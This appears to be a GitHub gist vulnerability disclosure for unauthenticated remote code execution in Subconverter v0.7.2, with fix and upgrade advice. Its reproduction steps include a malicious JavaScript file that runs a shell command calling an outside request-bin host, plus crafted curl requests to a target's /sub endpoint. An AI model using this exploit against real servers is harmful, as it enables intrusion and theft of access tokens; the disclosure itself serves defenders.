CwithW / **main.md** Secret

Last active 3 months ago

Subconverter v0.7.2 unauthorized RCE

main.md

Subconverter v0.7.2 unauthorized RCE

Software Link(Subconverter): https://github.com/tindy2013/subconverter

Affected versions: Subconverter v0.7.2, < v0.7.2-ce8d2bd

Description

A remote code execution (RCE) vulnerability in Subconverter v0.7.2 allows unauthorized attackers to execute arbitrary code via crafted config and url parameters.

Unauthorized attackers can use this vulnerability to leak the authorize token and become authorized user, or leak other user's privacy info, or even taking down the server.

Steps to reproduce

- i. Host a evil JavaScript file with HTTP, with a function named `parse(x)`. `os.exec` from quickjs can be used to call system commands.

```
//http://106.14.15.50/testxz.js

function parse(x){
        os.exec(["sh","-c","curl requestbin.com/xxxxx"],{file:"sh"})
}
```

- ii. Calculate the md5 for the evil JavaScript file URL. For example: The md5 of `http://106.14.15.50/testxz.js` is `c10dca9bf2e82a5ec6293ceba3cee6bc`.
- iii. Access the remote server with crafted `config` and `url` parameters, twice. The first time we access, the evil JavaScript file will be downloaded to `./cache/<md5_of_evil_js_url>`. The second time we access, the evil JavaScript from cache will be loaded and the `parse(x)` function in evil JavaScript will be called.

```
# http://SERVER_IP/sub?config=<evil_js_url>&target=clash&url=script:cache/<r

curl 'http://SERVER_IP/sub?config=http://106.14.15.50/testxz.js&target=clash
curl 'http://SERVER_IP/sub?config=http://106.14.15.50/testxz.js&target=clash
```

- iv. We can see that the code in evil JavaScript file is executed, the system command you have entered has been executed.

Fix

Subconverter v0.7.2-ce8d2bd has fixed this issue by only allowing authorized user or when the server is running with config `api_mode = false` (insecure mode, assumes any user is authorized) to use `script:` URL and other script functions.

If you are using a Subconverter version below v0.7.2-ce8d2bd, you should upgrade to v0.7.2-ce8d2bd or higher to fix the RCE vulnerability.

It is recommended that you change your `api_access_token` as well as it may already be compromised.

NOTE: It is still possible to RCE on v0.7.2-ce8d2bd by authorized user or when the server is running with config `api_mode = false`, this is confirmed to be 'not a vulnerability' by the author.